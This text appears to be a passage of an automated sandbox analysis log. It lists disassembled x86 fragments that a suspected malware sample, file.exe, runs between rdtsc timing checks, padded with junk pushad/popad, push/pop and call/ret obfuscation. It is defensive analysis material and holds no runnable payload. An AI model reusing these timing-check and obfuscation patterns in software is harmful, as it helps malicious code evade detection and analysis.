Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F0B3 second address: D2F0D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add dword ptr [esp], 4A5186E7h 0x0000000f mov cx, 394Dh 0x00000013 lea ebx, dword ptr [ebp+12453C7Bh] 0x00000019 cmc 0x0000001a xchg eax, ebx 0x0000001b pushad 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F201 second address: D2F213 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FC708C21986h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F213 second address: D2F217 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F217 second address: D2F250 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007FC708C2198Ch 0x00000014 mov eax, dword ptr [eax] 0x00000016 jnp 00007FC708C2198Eh 0x0000001c jne 00007FC708C21988h 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 jc 00007FC708C21988h 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F250 second address: D2F25A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC708CACE9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F25A second address: D2F275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 adc dl, 0000002Ah 0x0000000a lea ebx, dword ptr [ebp+12453C86h] 0x00000010 sbb di, 7CBFh 0x00000015 xchg eax, ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F275 second address: D2F27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F27A second address: D2F280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2F280 second address: D2F284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F48E second address: D4F499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F499 second address: D4F4A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F4A0 second address: D4F4BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ebx 0x00000009 jno 00007FC708C21986h 0x0000000f pop ebx 0x00000010 jno 00007FC708C21988h 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D35C second address: D4D362 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D4C0 second address: D4D4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D4C6 second address: D4D4CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4D4CA second address: D4D4E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FC708C21996h 0x0000000c jmp 00007FC708C2198Ah 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DA66 second address: D4DAB4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC708CACEA0h 0x00000008 jmp 00007FC708CACEA1h 0x0000000d pop edi 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007FC708CACE9Bh 0x00000016 pop edx 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b push ecx 0x0000001c jmp 00007FC708CACEA1h 0x00000021 pop ecx 0x00000022 pushad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DAB4 second address: D4DABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DABA second address: D4DAC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FC708CACE96h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DAC5 second address: D4DAD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC708C21986h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DAD1 second address: D4DAD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DE2A second address: D4DE30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DE30 second address: D4DE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FC708CACE96h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4DFF1 second address: D4DFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E293 second address: D4E297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E297 second address: D4E2A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E2A2 second address: D4E2D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jbe 00007FC708CACEA2h 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007FC708CACE9Eh 0x00000014 jne 00007FC708CACE9Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E448 second address: D4E450 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E450 second address: D4E454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E454 second address: D4E460 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4E460 second address: D4E466 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0E395 second address: D0E39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D4F0BD second address: D4F0D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC708CACEA7h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D27497 second address: D274B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21999h 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54AE2 second address: D54AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54AE6 second address: D54B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC708C21997h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D54B08 second address: D54B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D551F4 second address: D5520D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC708C21995h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5532E second address: D55334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D55334 second address: D55338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59EBB second address: D59ECE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACE9Dh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A130 second address: D1A136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1A136 second address: D1A143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007FC708CACE96h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59552 second address: D59579 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21998h 0x00000007 jnl 00007FC708C21986h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59579 second address: D5957F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5957F second address: D595B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jmp 00007FC708C2198Dh 0x0000000d jp 00007FC708C21986h 0x00000013 jmp 00007FC708C21998h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D595B7 second address: D595D3 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC708CACE96h 0x00000008 jmp 00007FC708CACEA2h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5975D second address: D59781 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC708C21999h 0x00000009 jo 00007FC708C21986h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59781 second address: D597B8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC708CACEA8h 0x00000008 jl 00007FC708CACE96h 0x0000000e jmp 00007FC708CACE9Ch 0x00000013 jmp 00007FC708CACEA0h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e pop eax 0x0000001f jnl 00007FC708CACE96h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D597B8 second address: D597E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21997h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC708C2198Fh 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D597E5 second address: D597EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59A9A second address: D59A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59A9E second address: D59ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC708CACEA4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D59ABA second address: D59AD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C2198Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007FC708C21986h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D024 second address: D5D03B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D0CC second address: D5D11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 xor dword ptr [esp], 66F79F87h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007FC708C21988h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 0000001Bh 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 call 00007FC708C21989h 0x0000002e jmp 00007FC708C2198Ch 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 push ecx 0x00000038 pop ecx 0x00000039 pushad 0x0000003a popad 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D11C second address: D5D122 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D122 second address: D5D126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D126 second address: D5D13C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f jl 00007FC708CACE96h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D6DF second address: D5D6E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5D6E3 second address: D5D6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FC708CACE9Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DD93 second address: D5DD9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FC708C21986h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DEC5 second address: D5DECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DF5C second address: D5DF60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5DF60 second address: D5DF84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708CACEA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jp 00007FC708CACEA0h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E120 second address: D5E124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E361 second address: D5E382 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 pushad 0x0000000a mov dword ptr [ebp+122D2352h], ebx 0x00000010 movsx edi, bx 0x00000013 popad 0x00000014 sub dword ptr [ebp+1246FD59h], esi 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E382 second address: D5E386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E386 second address: D5E38C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5E38C second address: D5E393 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F8C6 second address: D5F8CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5F8CC second address: D5F8D9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC708C21988h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D1F1A0 second address: D1F1B4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jno 00007FC708CACE96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007FC708CACE96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D60670 second address: D60688 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC708C21994h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D610EB second address: D610EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62471 second address: D62477 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D624FB second address: D62501 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D62F5A second address: D62F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FC708C21986h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D63014 second address: D6301F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FC708CACE96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64335 second address: D64339 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D64339 second address: D6434D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FC708CACE96h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66B18 second address: D66B22 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6434D second address: D64351 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66B22 second address: D66BB1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c jo 00007FC708C2198Ch 0x00000012 mov ebx, dword ptr [ebp+122D21FAh] 0x00000018 jmp 00007FC708C21991h 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007FC708C21988h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000015h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 or edi, dword ptr [ebp+122D1F5Bh] 0x0000003f push 00000000h 0x00000041 mov ebx, dword ptr [ebp+122DB92Dh] 0x00000047 xchg eax, esi 0x00000048 jnl 00007FC708C219A2h 0x0000004e push eax 0x0000004f pushad 0x00000050 jnc 00007FC708C21990h 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66BB1 second address: D66BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67B5A second address: D67B5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67B5F second address: D67B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnl 00007FC708CACE96h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jbe 00007FC708CACEA0h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D66D7E second address: D66D82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68ADC second address: D68AE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D68AE2 second address: D68AE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67DAD second address: D67DB7 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC708CACE96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69AC4 second address: D69AE5 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC708C21986h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jl 00007FC708C21986h 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 jnl 00007FC708C21988h 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D69AE5 second address: D69B41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov bx, si 0x0000000b push 00000000h 0x0000000d movzx edi, cx 0x00000010 mov edi, 4C758F16h 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FC708CACE98h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 00000019h 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D1F0Eh] 0x00000037 xchg eax, esi 0x00000038 pushad 0x00000039 jc 00007FC708CACE98h 0x0000003f pushad 0x00000040 popad 0x00000041 jmp 00007FC708CACE9Dh 0x00000046 popad 0x00000047 push eax 0x00000048 push ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b 